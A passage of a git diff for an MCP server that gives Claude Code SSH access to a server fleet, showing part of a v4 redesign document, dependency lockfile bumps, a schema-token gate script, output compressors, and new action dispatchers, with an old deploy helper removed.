reuse + +Pool reuse uses a synchronous liveness check (`connected && !destroyed`), not a network +`ping()` probe on every call. A dead connection is detected on actual command failure and +reconnected then. This removes the per-call extra round-trip the current code pays. + +--- + +## 8. Pre-build gate (go / no-go) + +Before implementation begins, a measurement spike: + +1. Build the 13 tools' `inputSchema` objects as static samples (full action enums, the + union of action args, descriptions). +2. Serialize them through the actual MCP wire serializer and measure the token cost. +3. Confirm the total is materially below the current 51-tool cost (~14k) and below the + threshold at which Claude Code defers a tool surface. + +If the consolidated surface does not come in materially smaller, the fat-tool model is +reconsidered (the alternative being fewer arguments per tool rather than fewer tools). +A preliminary measurement of the v4 surface estimated roughly 5k tokens; the gate +confirms this against the real serializer before code is written. + +--- + +## 9. Testing + +- The ~640 handler-level tests call handlers directly with injected mocks and are + decoupled from the tool layer — they re-point to the same handler functions unchanged. +- Four suites are coupled to tool names and registration — + `test-index-registration.js`, `test-tool-registry.js`, `test-tool-annotations.js`, + `test-tool-config-manager.js` — and are rewritten for the 13-tool surface. +- New suites: dispatcher routing and per-action arg validation; the compressors + (including the lossless-on-signal guarantees); `ssh_find` parsing; the detach job model. +- A header-grammar regex test covering all 13 tools. +- A render-snapshot fixture per tool: the literal output string, eyeball-reviewed, as a + regression guard — since no automated test can confirm "looks good". + +--- + +## 10. Risks and resolved decisions + +- **Markdown does not render in tool results.** Accepted. Goal 4 is reframed around clean + plain text (section 1). Fences replaced by indentation. +- **Token savings.** Honest figure: roughly 14k -> 5k schema tokens (~65%), confirmed by + the section 8 gate. Per-call output is additionally reduced by compact format and + compressors. The earlier "43k -> 13k" figure was wrong and is discarded. +- **`;`-chain mechanism.** Resolved: single exec with exit sentinels, not N execs. N execs + would be slower than raw bash and would lose shared shell state. +- **Un-defer premise.** Treated as unverified until the section 8 gate passes. The gate is + go/no-go. +- **`ssh_fleet` breadth.** The original 11-action grab-bag is split: `ssh_net` and + `ssh_docker` are separate tools; `ssh_fleet` keeps only genuine fleet/config-metadata. + +## 11. Out of scope + +- Backward-compatible tool aliases. v4 renames every tool; there is no compatibility + shim. Single-user deployment; the Codex integration docs are updated to the new names. +- Re-implementing rsync or any remote tool. v4 shells out and shapes output. diff --git a/package-lock.json b/package-lock.json index d238a80..b0502d6 100644 --- a/package-lock.json +++ b/package-lock.json @@ -25,7 +25,7 @@ "prettier": "^3.2.4" }, "engines": { - "node": ">=18.0.0" + "node": ">=20.19.0" } }, "node_modules/@eslint-community/eslint-utils": { @@ -47,6 +47,19 @@ "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" } }, + "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, "node_modules/@eslint-community/regexpp": { "version": "4.12.2", "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", @@ -135,29 +148,43 @@ } }, "node_modules/@humanfs/core": { - "version": "0.19.1", - "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", - "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz", + "integrity": "sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==", "dev": true, "license": "Apache-2.0", + "dependencies": { + "@humanfs/types": "^0.15.0" + }, "engines": { "node": ">=18.18.0" } }, "node_modules/@humanfs/node": { - "version": "0.16.7", - "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz", - "integrity": "sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==", + "version": "0.16.8", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.8.tgz", + "integrity": "sha512-gE1eQNZ3R++kTzFUpdGlpmy8kDZD/MLyHqDwqjkVQI0JMdI1D51sy1H958PNXYkM2rAac7e5/CnIKZrHtPh3BQ==", "dev": true, "license": "Apache-2.0", "dependencies": { - "@humanfs/core": "^0.19.1", + "@humanfs/core": "^0.19.2", + "@humanfs/types": "^0.15.0", "@humanwhocodes/retry": "^0.4.0" }, "engines": { "node": ">=18.18.0" } }, + "node_modules/@humanfs/types": { + "version": "0.15.0", + "resolved": "https://registry.npmjs.org/@humanfs/types/-/types-0.15.0.tgz", + "integrity": "sha512-ZZ1w0aoQkwuUuC7Yf+7sdeaNfqQiiLcSRbfI08oAxqLtpXQr9AIVX7Ay7HLDuiLYAaFPu8oBYNq/QIi9URHJ3Q==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, "node_modules/@humanwhocodes/module-importer": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", @@ -643,18 +670,18 @@ } }, "node_modules/eslint": { - "version": "10.2.0", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-10.2.0.tgz", - "integrity": "sha512-+L0vBFYGIpSNIt/KWTpFonPrqYvgKw1eUI5Vn7mEogrQcWtWYtNQ7dNqC+px/J0idT3BAkiWrhfS7k+Tum8TUA==", + "version": "10.2.1", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-10.2.1.tgz", + "integrity": "sha512-wiyGaKsDgqXvF40P8mDwiUp/KQjE1FdrIEJsM8PZ3XCiniTMXS3OHWWUe5FI5agoCnr8x4xPrTDZuxsBlNHl+Q==", "dev": true, "license": "MIT", "dependencies": { "@eslint-community/eslint-utils": "^4.8.0", "@eslint-community/regexpp": "^4.12.2", - "@eslint/config-array": "^0.23.4", - "@eslint/config-helpers": "^0.5.4", - "@eslint/core": "^1.2.0", - "@eslint/plugin-kit": "^0.7.0", + "@eslint/config-array": "^0.23.5", + "@eslint/config-helpers": "^0.5.5", + "@eslint/core": "^1.2.1", + "@eslint/plugin-kit": "^0.7.1", "@humanfs/node": "^0.16.6", "@humanwhocodes/module-importer": "^1.0.1", "@humanwhocodes/retry": "^0.4.2", @@ -718,13 +745,13 @@ } }, "node_modules/eslint-visitor-keys": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", - "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", + "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", "dev": true, "license": "Apache-2.0", "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + "node": "^20.19.0 || ^22.13.0 || >=24" }, "funding": { "url": "https://opencollective.com/eslint" @@ -747,19 +774,6 @@ "url": "https://github.com/sponsors/epoberezkin" } }, - "node_modules/eslint/node_modules/eslint-visitor-keys": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", - "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, "node_modules/eslint/node_modules/json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", @@ -785,19 +799,6 @@ "url": "https://opencollective.com/eslint" } }, - "node_modules/espree/node_modules/eslint-visitor-keys": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", - "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, "node_modules/esquery": { "version": "1.7.0", "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", @@ -866,9 +867,9 @@ } }, "node_modules/eventsource-parser": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.0.6.tgz", - "integrity": "sha512-Vo1ab+QXPzZ4tCa8SwIHJFaSzy4R6SHf7BY79rFBDf0idraZWAkYrDjDj8uWaSm3S2TK+hJ7/t1CEmZ7jXw+pg==", + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.0.8.tgz", + "integrity": "sha512-70QWGkr4snxr0OXLRWsFLeRBIRPuQOvt4s8QYjmUlmlkyTZkRqS7EDVRZtzU3TiyDbXSzaOeF0XUKy8PchzukQ==", "license": "MIT", "engines": { "node": ">=18.0.0" @@ -1145,9 +1146,9 @@ } }, "node_modules/hasown": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", - "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.3.tgz", + "integrity": "sha512-ej4AhfhfL2Q2zpMmLo7U1Uv9+PyhIZpgQLGT1F9miIGmiCJIoCgSmczFdrc97mWT4kVY72KA+WnnhJ5pghSvSg==", "license": "MIT", "dependencies": { "function-bind": "^1.1.2" @@ -1157,9 +1158,9 @@ } }, "node_modules/hono": { - "version": "4.12.12", - "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.12.tgz", - "integrity": "sha512-p1JfQMKaceuCbpJKAPKVqyqviZdS0eUxH9v82oWo1kb9xjQ5wA6iP3FNVAPDFlz5/p7d45lO+BpSk1tuSZMF4Q==", + "version": "4.12.14", + "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.14.tgz", + "integrity": "sha512-am5zfg3yu6sqn5yjKBNqhnTX7Cv+m00ox+7jbaKkrLMRJ4rAdldd1xPd/JzbBWspqaQv6RSTrgFN95EsfhC+7w==", "license": "MIT", "engines": { "node": ">=16.9.0" diff --git a/scripts/finalize.sh b/scripts/finalize.sh index a761c3d..f7bfbe7 100644 --- a/scripts/finalize.sh +++ b/scripts/finalize.sh @@ -18,7 +18,7 @@ echo "[2/3] validate" echo "[3/3] apply repo metadata via gh" if command -v gh >/dev/null 2>&1; then gh repo edit "$REPO" \ - --description "MCP server that gives Claude Code direct SSH access to your server fleet. 51 tools, connection pooled, per-user gated, ASCII output." \ + --description "MCP server that gives Claude Code direct SSH access to your server fleet. 13 verb-tools, connection pooled, bounded output, ASCII rendering." \ --homepage "https://github.com/$REPO" \ --add-topic mcp \ --add-topic claude-code \ diff --git a/scripts/measure-schema-tokens.mjs b/scripts/measure-schema-tokens.mjs new file mode 100644 index 0000000..7113126 --- /dev/null +++ b/scripts/measure-schema-tokens.mjs @@ -0,0 +1,85 @@ +#!/usr/bin/env node +// Pre-build gate for ssh-mcp v4. Measures the JSON-Schema token cost of the +// three fattest proposed v4 tools. Exits non-zero (GATE: FAIL) if any single +// tool exceeds the per-tool ceiling or the extrapolated 13-tool surface would +// not beat the current ~14k-token, 51-tool surface. +import { z } from 'zod'; + +// Loose sanity bound: worst measured fat tool ~394 tokens, so 800 is ~2x headroom. +const PER_TOOL_CEIL = 800; // tokens; no single fat tool may exceed this +const SURFACE_CEIL = 14000; // tokens; the current 51-tool surface (measured baseline) +const tokens = (o) => Math.ceil(JSON.stringify(o).length / 4); + +const sshRun = z.object({ + server: z.string().describe('Server name from configuration'), + action: z.enum(['exec', 'sudo', 'script', 'fleet', 'detach', 'job-status', 'job-kill']) + .describe('Operation to perform'), + command: z.string().optional().describe('Command to run (actions: exec, sudo, detach)'), + commands: z.array(z.string()).optional().describe('Commands to chain (action: script)'), + cwd: z.string().optional().describe('Working directory'), + group: z.string().optional().describe('Server group name (action: fleet)'), + job_id: z.string().optional().describe('Job id (actions: job-status, job-kill)'), + sudo_password: z.string().optional().describe('Sudo password (action: sudo)'), + timeout: z.number().optional().describe('Timeout in milliseconds'), + isolate: z.boolean().optional().describe('Run script segments in separate shells'), + raw: z.boolean().optional().describe('Disable output compression and truncation'), + format: z.enum(['compact', 'json', 'markdown']).optional().describe('Output format'), +}); + +const sshFile = z.object({ + server: z.string().describe('Server name from configuration'), + action: z.enum(['upload', 'download', 'sync', 'read', 'write', 'edit', 'diff', 'deploy', 'deploy-artifact']) + .describe('File operation to perform'), + local_path: z.string().optional().describe('Local path (actions: upload, download, sync)'), + remote_path: z.string().optional().describe('Remote path (most actions)'), + content: z.string().optional().describe('File content to write (action: write)'), + source: z.string().optional().describe('Sync source (action: sync)'), + destination: z.string().optional().describe('Sync destination (action: sync)'), + exclude: z.array(z.string()).optional().describe('Exclude patterns (action: sync)'), + delete_extra: z.boolean().optional().describe('Delete files absent from source (action: sync)'), + lines: z.number().optional().describe('Line count to read (action: read)'), + old_text: z.string().optional().describe('Text to replace (action: edit)'), + new_text: z.string().optional().describe('Replacement text (action: edit)'), + permissions: z.string().optional().describe('chmod value such as "644" (action: deploy)'), + owner: z.string().optional().describe('chown value such as "user:group" (action: deploy)'), + raw: z.boolean().optional().describe('Disable output compression and truncation'), + format: z.enum(['compact', 'json', 'markdown']).optional().describe('Output format'), +}); + +const sshFleet = z.object({ + server: z.string().optional().describe('Server name (actions targeting one server)'), + action: z.enum(['servers', 'groups', 'aliases', 'profiles', 'hooks', 'keys', 'history', 'connections']) + .describe('Fleet or config operation to perform'), + op: z.enum(['list', 'add', 'remove', 'update']).optional().describe('Sub-operation (most actions)'), + name: z.string().optional().describe('Entity name for group, alias, or profile'), + members: z.array(z.string()).optional().describe('Member server names (action: groups)'), + alias: z.string().optional().describe('Alias value (action: aliases)'), + target: z.string().optional().describe('Alias or hook target'), + limit: z.number().optional().describe('Row limit (action: history)'), + format: z.enum(['compact', 'json', 'markdown']).optional().describe('Output format'), +}); + +const fats = { ssh_run: sshRun, ssh_file: sshFile, ssh_fleet: sshFleet }; +let fail = false; +let measuredTotal = 0; + +for (const [name, schema] of Object.entries(fats)) { + const t = tokens(z.toJSONSchema(schema)); + measuredTotal += t; + const verdict = t <= PER_TOOL_CEIL ? 'ok' : 'OVER'; + console.log(`${name.padEnd(10)} ${String(t).padStart(5)} tokens [${verdict}]`); + if (t > PER_TOOL_CEIL) fail = true; +} + +// Extrapolate: 3 fattest measured + 10 thinner tools at ~55% of the fat average. +// 0.55 = thinner tools carry fewer optional/action params -> roughly half a fat tool. +const fatAvg = measuredTotal / 3; +const estTotal = Math.round(measuredTotal + fatAvg * 0.55 * 10); +console.log(`\nestimated 13-tool surface: ~${estTotal} tokens (51-tool baseline: ${SURFACE_CEIL})`); +if (estTotal >= SURFACE_CEIL) fail = true; + +if (fail) { + console.error('\nGATE: FAIL -- v4 schema surface is not materially smaller. Revisit the design.'); + process.exit(1); +} +console.log('\nGATE: PASS -- proceed with v4 implementation.'); diff --git a/src/command-compressors.js b/src/command-compressors.js new file mode 100644 index 0000000..8da8bb0 --- /dev/null +++ b/src/command-compressors.js @@ -0,0 +1,85 @@ +/** + * Command-output compressors. Per-command-type shaping that runs after + * ANSI stripping and before head+tail truncation. raw:true bypasses all of it. + * + * Each compressor is pure: (text) -> { text, dropped }. The dispatcher appends + * a footer naming the raw escape hatch whenever a compressor dropped anything. + */ + +/** Escape-hatch suffix appended to every compression footer. */ +const RAW_HINT = ' -- re-run with raw: true for full output'; + +/** Escape-hatch footer appended when output was compressed. */ +function footer(dropped) { + return `\n... ${dropped} line${dropped === 1 ? '' : 's'} compressed` + RAW_HINT; +} + +/** + * Drop a leading `total N` summary line (the `ls -l` block-count header). + * Sets `note` so the footer says "total-line dropped" -- the dropped line is + * always that header, never N rows of content, so a line count would mislead. + */ +export function compressLs(text) { + const s = String(text == null ? '' : text); + const nl = s.indexOf('\n'); + const first = (nl === -1 ? s : s.slice(0, nl)).trim(); + if (/^total \d+$/.test(first)) { + return { + text: nl === -1 ? '' : s.slice(nl + 1), + dropped: 1, + note: '\n... ls total-line dropped' + RAW_HINT, + }; + } + return { text: s, dropped: 0 }; +} + +/** Rows to keep from a ps listing (header is kept on top of these). */ +const PS_KEEP = 15; + +/** + * Keep the ps header line plus the top PS_KEEP rows; drop the tail. + * Visible order assumed significance-ordered; tail dropped regardless. + * Trailing newline (ps always emits one) is preserved, not counted as a row. + */ +export function compressPs(text) { + const s = String(text == null ? '' : text); + const hadTrailingNl = s.endsWith('\n'); + const lines = s.split('\n'); + if (hadTrailingNl) lines.pop(); + if (lines.length <= PS_KEEP + 1) return { text: s, dropped: 0 }; + const kept = lines.slice(0, PS_KEEP + 1); + return { + text: kept.join('\n') + (hadTrailingNl ? '\n' : ''), + dropped: lines.length - kept.length, + }; +} + +// shared command-prefix: start, after pipe/`;`/`&`, or after `sudo `. +const PREFIX = '(^|[|;&]\\s*|^sudo\\s+)'; + +// command-prefix -> compressor. First match wins. +const COMPRESSORS = [ + { match: new RegExp(`${PREFIX}ls(\\s|$)`), fn: compressLs }, + { match: new RegExp(`${PREFIX}ps(\\s|$)`), fn: compressPs }, +]; + +/** + * Compress command output by command type. raw:true returns text unchanged. + * Unmatched commands return unchanged. A footer is appended only when a + * compressor actually dropped lines. + */ +export function compress(command, text, { raw = false } = {}) { + const s = String(text == null ? '' : text); + if (raw || s === '') return s; + const cmd = String(command == null ? '' : command).trim(); + for (const { match, fn } of COMPRESSORS) { + if (match.test(cmd)) { + const out = fn(s); + if (out.dropped <= 0) return out.text; + // A compressor may supply its own footer `note` when a line count + // would mislead (e.g. ls drops a header, not N content rows). + return out.text + (out.note || footer(out.dropped)); + } + } + return s; +} diff --git a/src/concurrency.js b/src/concurrency.js index 9c7935c..07e0add 100644 --- a/src/concurrency.js +++ b/src/concurrency.js @@ -9,7 +9,8 @@ */ export async function pMap(items, fn, { concurrency = 5, stopOnError = false } = {}) { - const n = items.length; + // non-array items → empty result, never loop forever on undefined .length + const n = Array.isArray(items) ? items.length : 0; const results = new Array(n); let cursor = 0; let aborted = false; diff --git a/src/deploy-helper.js b/src/deploy-helper.js deleted file mode 100644 index 8ac30c5..0000000 --- a/src/deploy-helper.js +++ /dev/null @@ -1,175 +0,0 @@ -import path from 'path'; -import crypto from 'crypto'; - -/** - * Deploy helper functions for secure file deployment - */ - -/** - * Generate a unique temporary filename - */ -export function getTempFilename(originalName) { - const timestamp = Date.now(); - const random = crypto.randomBytes(4).toString('hex'); - const ext = path.extname(originalName); - const base = path.basename(originalName, ext); - return `/tmp/${base}_${timestamp}_${random}${ext}`; -} - -/** - * Build deployment strategy based on target path and permissions - */ -export function buildDeploymentStrategy(remotePath, options = {}) { - const { - sudoPassword = null, - owner = null, - permissions = null, - backup = true, - restart = null - } = options; - - const strategy = { - steps: [], - requiresSudo: false - }; - - // Step 1: Backup existing file if requested - if (backup) { - strategy.steps.push({ - type: 'backup', - command: `if [ -f "${remotePath}" ]; then cp "${remotePath}" "${remotePath}.bak.$(date +%Y%m%d_%H%M%S)"; fi` - }); - } - - // Step 2: Determine if we need sudo - const needsSudo = remotePath.startsWith('/etc/') || - remotePath.startsWith('/var/') || - remotePath.startsWith('/usr/') || - owner || permissions; - - if (needsSudo) { - strategy.requiresSudo = true; - } - - // Step 3: Copy from temp to final location - const copyCmd = needsSudo && sudoPassword ? - `echo "${sudoPassword}" | sudo -S cp {{tempFile}} "${remotePath}"` : - needsSudo ? - `sudo cp {{tempFile}} "${remotePath}"` : - `cp {{tempFile}} "${remotePath}"`; - - strategy.steps.push({ - type: 'copy', - command: copyCmd - }); - - // Step 4: Set ownership if specified - if (owner) { - const chownCmd = sudoPassword ? - `echo "${sudoPassword}" | sudo -S chown ${owner} "${remotePath}"` : - `sudo chown ${owner} "${remotePath}"`; - - strategy.steps.push({ - type: 'chown', - command: chownCmd - }); - } - - // Step 5: Set permissions if specified - if (permissions) { - const chmodCmd = sudoPassword ? - `echo "${sudoPassword}" | sudo -S chmod ${permissions} "${remotePath}"` : - `sudo chmod ${permissions} "${remotePath}"`; - - strategy.steps.push({ - type: 'chmod', - command: chmodCmd - }); - } - - // Step 6: Restart service if specified - if (restart) { - strategy.steps.push({ - type: 'restart', - command: restart - }); - } - - // Step 7: Cleanup temp file - strategy.steps.push({ - type: 'cleanup', - command: 'rm -f {{tempFile}}' - }); - - return strategy; -} - -/** - * Parse deployment configuration from file path patterns - * Examples: - * /home/user/app/file.js -> normal deploy - * /etc/nginx/sites-available/site -> needs sudo - * /var/www/html/index.html -> needs sudo - */ -export function detectDeploymentNeeds(remotePath) { - const needs = { - sudo: false, - suggestedOwner: null, - suggestedPerms: null - }; - - // System directories that typically need sudo - if (remotePath.startsWith('/etc/')) { - needs.sudo = true; - needs.suggestedOwner = 'root:root'; - needs.suggestedPerms = '644'; - } else if (remotePath.startsWith('/var/www/')) { - needs.sudo = true; - needs.suggestedOwner = 'www-data:www-data'; - needs.suggestedPerms = '644'; - } else if (remotePath.includes('/nginx/')) { - needs.sudo = true; - needs.suggestedOwner = 'root:root'; - needs.suggestedPerms = '644'; - } else if (remotePath.includes('/apache/') || remotePath.includes('/httpd/')) { - needs.sudo = true; - needs.suggestedOwner = 'www-data:www-data'; - needs.suggestedPerms = '644'; - } else if (remotePath.includes('/frappe-bench/')) { - // For ERPNext/Frappe deployments - needs.sudo = false; - needs.suggestedOwner = null; // Will be handled by the app - needs.suggestedPerms = '644'; - } - - return needs; -} - -/** - * Create batch deployment script for multiple files - */ -export function createBatchDeployScript(deployments) { - const script = ['#!/bin/bash', 'set -e', '']; - - script.push('# Batch deployment script'); - script.push(`# Generated at ${new Date().toISOString()}`); - script.push(''); - - deployments.forEach((deploy, index) => { - script.push(`# File ${index + 1}: ${deploy.localPath} -> ${deploy.remotePath}`); - deploy.strategy.steps.forEach(step => { - if (step.type !== 'cleanup') { - script.push(step.command.replace('{{tempFile}}', deploy.tempFile)); - } - }); - script.push(''); - }); - - // Cleanup all temp files at the end - script.push('# Cleanup temporary files'); - deployments.forEach(deploy => { - script.push(`rm -f ${deploy.tempFile}`); - }); - - return script.join('\n'); -} diff --git a/src/dispatchers/action-validate.js b/src/dispatchers/action-validate.js new file mode 100644 index 0000000..fdfeea5 --- /dev/null +++ b/src/dispatchers/action-validate.js @@ -0,0 +1,29 @@ +/** + * Per-action required-argument validation for v4 fat verb-tools. + * + * MCP inputSchema cannot express "arg X required only when action = Y", so + * every action-scoped arg is declared optional and each dispatcher calls + * requireArgs() at entry to enforce its per-action required map. + */ + +import { fail, toMcp } from '../structured-result.js'; + +/** Arg counts as present unless undefined/null/empty-string. */ +function present(v) { + return v !== undefined && v !== null && v !== ''; +} + +/** + * Validate that args holds every required arg for `action`. + * @returns null when satisfied, else a structured fail() MCP response. + */ +export function requireArgs(tool, action, args, requiredMap) { + const required = (requiredMap && requiredMap[action]) || []; + const missing = required.filter((k) => !present((args || {})[k])); + if (missing.length === 0) return null; + return toMcp(fail( + tool, + `action "${action}" requires: ${missing.join(', ')}`, + { server: (args || {}).server ?? null }, + )); +} diff --git a/src/dispatchers/ctx-factory.js b/src/dispatchers/ctx-factory.js new file mode 100644 index 0000000..b91d220 --- /dev/null +++ b/src/dispatchers/ctx-factory.js @@ -0,0 +1,36 @@ +/** + * Context-object factory for v4 dispatchers. + * + * The existing src/tools/*.js handlers destructure six divergent context + * shapes. makeCtx assembles the right one from registration-time deps so the + * dispatchers stay readable. deps holds getConnection / getServerConfig / + * resolveGroup / getSftp; only the ones a kind needs are read. + * + * kinds: + * conn { getConnection, args } exec, upload, cat, ... + * conn-cfg { getConnection, getServerConfig, args } execute_sudo, sync + * conn-group { getConnection, resolveGroup, args } execute_group + * cfg { getServerConfig, args } key_manage + * deploy { getConnection, getSftp, args } deploy / deploy-artifact + * args { args } session_send, tail_read, ... + */ + +export function makeCtx(kind, deps, args) { + const d = deps || {}; + switch (kind) { + case 'conn': + return { getConnection: d.getConnection, args }; + case 'conn-cfg': + return { getConnection: d.getConnection, getServerConfig: d.getServerConfig, args }; + case 'conn-group': + return { getConnection: d.getConnection, resolveGroup: d.resolveGroup, args }; + case 'cfg': + return { getServerConfig: d.getServerConfig, args }; + case 'deploy': + return { getConnection: d.getConnection, getSftp: d.getSftp, args }; + case 'args': + return { args }; + default: + throw new Error(`unknown ctx kind: ${kind}`); + } +} diff --git a/src/dispatchers/ssh-backup.js b/src/dispatchers/ssh-backup.js new file mode 100644 index 0000000..d05e16e --- /dev/null +++ b/src/dispatchers/ssh-backup.js @@ -0,0 +1,68 @@ +/** + * ssh_backup -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_backup_create / ssh_backup_list / ssh_backup_restore / + * ssh_backup_schedule. All conn ctx kind. + * + * handlers (injected): { create, list, restore, schedule }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + create: ['server'], + list: ['server'], + restore: ['server', 'backup_id'], + schedule: ['server', 'cron'], +}; + +export async function handleSshBackup({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_backup', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_backup', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_backup', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'create': + // handler ignores name/exclude -- dropped + return handlers.create(makeCtx('conn', deps, { + server: a.server, backup_type: a.backup_type, + database: a.database, paths: a.paths, + backup_dir: a.backup_dir, gzip: a.gzip, verify: a.verify, + preview: a.preview, format: a.format, + })); + + case 'list': + // handler ignores backup_type -- dropped + return handlers.list(makeCtx('conn', deps, { + server: a.server, backup_dir: a.backup_dir, format: a.format, + })); + + case 'restore': + // handler ignores database -- dropped + return handlers.restore(makeCtx('conn', deps, { + server: a.server, backup_id: a.backup_id, + target_path: a.target_path, backup_dir: a.backup_dir, verify: a.verify, + preview: a.preview, format: a.format, + })); + + case 'schedule': + default: + // handler ignores name/retention -- dropped + return handlers.schedule(makeCtx('conn', deps, { + server: a.server, cron: a.cron, backup_type: a.backup_type, + database: a.database, paths: a.paths, + preview: a.preview, format: a.format, + })); + } +} diff --git a/src/dispatchers/ssh-db.js b/src/dispatchers/ssh-db.js new file mode 100644 index 0000000..f34c261 --- /dev/null +++ b/src/dispatchers/ssh-db.js @@ -0,0 +1,72 @@ +/** + * ssh_db -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_db_query / ssh_db_list / ssh_db_dump / ssh_db_import. + * All four use the conn ctx kind. + * + * handlers (injected): { query, list, dump, import }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + query: ['server', 'db_type', 'database', 'query'], + list: ['server', 'db_type'], + dump: ['server', 'db_type', 'database'], + import: ['server', 'db_type', 'database'], +}; + +// Args common to every db handler: connection-target credentials. +// No host/port: every db-tools handler hits the local socket -- forwarding +// them was dead + misleading (a caller's remote host/port was silently +// ignored). Re-add only alongside a handler that actually honors them. +function creds(a) { + return { + server: a.server, + db_type: a.db_type, + database: a.database, + user: a.user, + password: a.password, + format: a.format, + }; +} + +export async function handleSshDb({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_db', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_db', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_db', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'query': + return handlers.query(makeCtx('conn', deps, { + ...creds(a), query: a.query, + })); + + case 'list': + return handlers.list(makeCtx('conn', deps, creds(a))); + + case 'dump': + // handler destructures output_path, not output_file + return handlers.dump(makeCtx('conn', deps, { + ...creds(a), output_path: a.output_path, gzip: a.gzip, preview: a.preview, + })); + + case 'import': + default: + // handler destructures input_path, not input_file + return handlers.import(makeCtx('conn', deps, { + ...creds(a), input_path: a.input_path, preview: a.preview, + })); + } +} diff --git a/src/dispatchers/ssh-docker.js b/src/dispatchers/ssh-docker.js new file mode 100644 index 0000000..0855316 --- /dev/null +++ b/src/dispatchers/ssh-docker.js @@ -0,0 +1,52 @@ +/** + * ssh_docker -- v4 fat verb-tool dispatcher. + * + * Thin pass-through over handleSshDocker, which already owns its own action + * enum. v4 advertises ps/logs/exec/restart/inspect. compose is unadvertised + * but still rejected here 